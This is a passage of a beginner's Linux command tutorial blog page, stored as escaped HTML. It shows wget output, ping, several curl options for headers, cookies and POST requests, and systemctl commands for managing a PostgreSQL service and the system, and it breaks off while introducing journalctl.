style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;... 216.58.217.14, 2607:f8b0:4012:80b::200e&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Conectando con google.com &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;google.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;)[&lt;/span&gt;216.58.217.14&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:443... connected.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Petición HTTP SENT Waiting &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; response... &lt;span style=&#34;color:#ff9f43&#34;&gt;301&lt;/span&gt; Moved Permanently&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Localización: https://www.google.com/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;siguiendo&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--2019-05-20 22:38:35-- https://www.google.com/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Resolviendo www.google.com &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;www.google.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;... 216.58.193.36, 2607:f8b0:4012:805::2004&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Conectando con www.google.com &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;www.google.com&lt;span style=&#34;color:#ff6ac1&#34;&gt;)[&lt;/span&gt;216.58.193.36&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:443... connected.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Petición HTTP SENT Waiting &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; response... &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Longitud: no especificado &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;text/html&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Grabando a: “index.html”&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;index.html                                          &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt; &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&amp;gt;                                                                                                  &lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;  ------11.11K  --.-KB/s in 0.003s  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2019-05-20 22:38:35 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;3.73 MB/s&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; - “index.html” guardado &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;11380&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;ping&#34;&gt;ping&lt;/h2&gt;&#xA;&lt;p&gt;The ping command uses the ICMP protocol to request a response. This, put in simpler words, means that it will send a request to the Internet to see if it receives a response. It is generally used to determine if one computer can access another. In this example we receive a response from the address listed after the command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ping www.lainchan.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PING www.lainchan.org &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;107.161.19.243&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; 56&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;84&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; bytes of data.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;64&lt;/span&gt; bytes from lainchan.org &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;107.161.19.243&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ff5c57&#34;&gt;icmp_seq&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;ttl&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;54&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;95.3 ms&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;64&lt;/span&gt; bytes from lainchan.org &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;107.161.19.243&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ff5c57&#34;&gt;icmp_seq&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;ttl&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;54&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;96.4 ms&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;64&lt;/span&gt; bytes from lainchan.org &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;107.161.19.243&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ff5c57&#34;&gt;icmp_seq&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;ttl&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;54&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;95.3 ms&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;^C&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--- www.lainchan.org ping statistics ---&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; packets transmitted, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt; received, 0% packet loss, &lt;span style=&#34;color:#ff5c57&#34;&gt;time&lt;/span&gt; 2003ms&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rtt min/avg/max/mdev &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; 95.309/95.688/96.432/0.526 ms&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;curl&#34;&gt;curl&lt;/h2&gt;&#xA;&lt;p&gt;This command is used to transfer information to or from a server. It supports multiple protocols, however it is often used in web development for testing.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Adding the &lt;em&gt;-i&lt;/em&gt; option includes the http headers in the response.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl example.org -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; OK&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Age: &lt;span style=&#34;color:#ff9f43&#34;&gt;198550&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Cache-Control: max-age&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;604800&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: text/html; &lt;span style=&#34;color:#ff5c57&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;UTF-8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Date: Sun, &lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 15:41:15 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Etag: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;3147526947+ident&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Expires: Sun, &lt;span style=&#34;color:#ff9f43&#34;&gt;01&lt;/span&gt; Nov &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 15:41:15 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Last-Modified: Thu, &lt;span style=&#34;color:#ff9f43&#34;&gt;17&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2019&lt;/span&gt; 07:18:26 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Server: ECS &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;qro/9315&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Vary: Accept-Encoding&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Cache: HIT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Length: &lt;span style=&#34;color:#ff9f43&#34;&gt;1256&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can send cookies through curl using the &lt;em&gt;&amp;ndash;cookie&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl --cookie &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;this_cookie=does_nothing&amp;#34;&lt;/span&gt; example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can also make POST web requests, useful to emulate form submission.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST -F &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;email=email@example.org&amp;#39;&lt;/span&gt; example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In curl we send HTTP headers using the &lt;em&gt;-H&lt;/em&gt; option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Accept-Charset: utf-8&amp;#34;&lt;/span&gt; example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authorization: Token 12345&amp;#34;&lt;/span&gt; http://example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can send information for a POST request using the option -d&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -d &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;data=value&amp;#34;&lt;/span&gt; -X POST http://example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we want to omit the response, and show only the response headers, we use the -I option.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -I example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# HTTP/1.1 200 OK&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Content-Encoding: gzip&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The curl command is a command with many options, to cover practically any need, I recommend that you give a read to its manual if you want to deepen in its functions.&lt;/p&gt;&#xA;&lt;h2 id=&#34;systemctl&#34;&gt;systemctl&lt;/h2&gt;&#xA;&lt;p&gt;systemctl is a &lt;em&gt;systemd&lt;/em&gt; utility, used to administer the system and its services, it is part of the default installation in some Linux-based operating systems.&lt;/p&gt;&#xA;&lt;p&gt;This software has raised a strong controversy among GNU/Linux enthusiasts, because it is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://suckless.org/sucks/systemd/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;accused of going against the principles of Linux&lt;/a&gt;&#xA; and wanting to be included as the default option for GNU/Linux systems. The contempt is such that there are even distributions whose only reason to exist is to offer an alternative of another popular distribution but without systemd. For example Debian and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://devuan.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Devuan&lt;/a&gt;&#xA;, the latter is a fork of the popular &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.debian.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Debian&lt;/a&gt;&#xA;, but without &lt;em&gt;systemd&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Systemctl allows us to run or stop services; add or remove them to the startup process of our operating system; see their current status. Systemctl has many options, so I will only list the most common ones. If you want to delve deeper into the capabilities of this command run the command &amp;lsquo;&lt;em&gt;man systemctl&lt;/em&gt;&amp;rsquo; to see its manual. This command must be run with super user powers.&lt;/p&gt;&#xA;&lt;p&gt;Here are some of the capabilities of systemctl:&lt;/p&gt;&#xA;&lt;h3 id=&#34;start-a-service&#34;&gt;Start a service&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemctl start postgresql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;restart-a-service&#34;&gt;Restart a service&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemctl restart postgresql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;display-the-status-of-a-service&#34;&gt;Display the status of a service&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemctl status postgresql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;● postgresql.service - PostgreSQL RDBMS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Loaded: loaded &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Active: active &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;exited&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; since Mon 2019-05-20 22:53:41 CDT; 49s ago&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Process: &lt;span style=&#34;color:#ff9f43&#34;&gt;5587&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;ExecStart&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/bin/true &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;code&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;exited, &lt;span style=&#34;color:#ff5c57&#34;&gt;status&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0/SUCCESS&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; Main PID: &lt;span style=&#34;color:#ff9f43&#34;&gt;5587&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;code&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;exited, &lt;span style=&#34;color:#ff5c57&#34;&gt;status&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0/SUCCESS&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      CPU: 538us&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;may &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; 22:53:41 horo systemd&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: Starting PostgreSQL RDBMS...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;may &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; 22:53:41 horo systemd&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;: Started PostgreSQL RDBMS.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;stop-a-service&#34;&gt;Stop a service&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemctl stop postgresql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;add-a-service-at-startup&#34;&gt;Add a service at startup&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemctl &lt;span style=&#34;color:#ff5c57&#34;&gt;enable&lt;/span&gt; postgresql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# add postgresql to startup&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Synchronizing state of postgresql.service with SysV service script with /lib/systemd/systemd-sysv-install.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Executing: /lib/systemd/systemd-sysv-install &lt;span style=&#34;color:#ff5c57&#34;&gt;enable&lt;/span&gt; postgresql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;remove-a-service-from-startup&#34;&gt;Remove a service from startup&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemctl disable postgresql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Remove postgresql from startup&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Synchronizing state of postgresql.service with SysV service script with /lib/systemd/systemd-sysv-install.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Executing: /lib/systemd/systemd-sysv-install disable postgresql&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;show-services-in-memory&#34;&gt;Show services in memory&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemctl list-units &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;start-os-shutdown-process&#34;&gt;Start OS shutdown process&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemctl poweroff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Beware, this command will turn off your system&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;restart-the-os&#34;&gt;Restart the OS&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;systemctl reboot&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Beware, this command will restart your OS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;review-the-logs-of-a-service&#34;&gt;Review the logs of a service&lt;/h3&gt;&#xA;&lt;p&gt;To check the logs and see what went wrong (or right) we will use the journalctl tool, instead of systemctl, followed by the -u option and the name of the 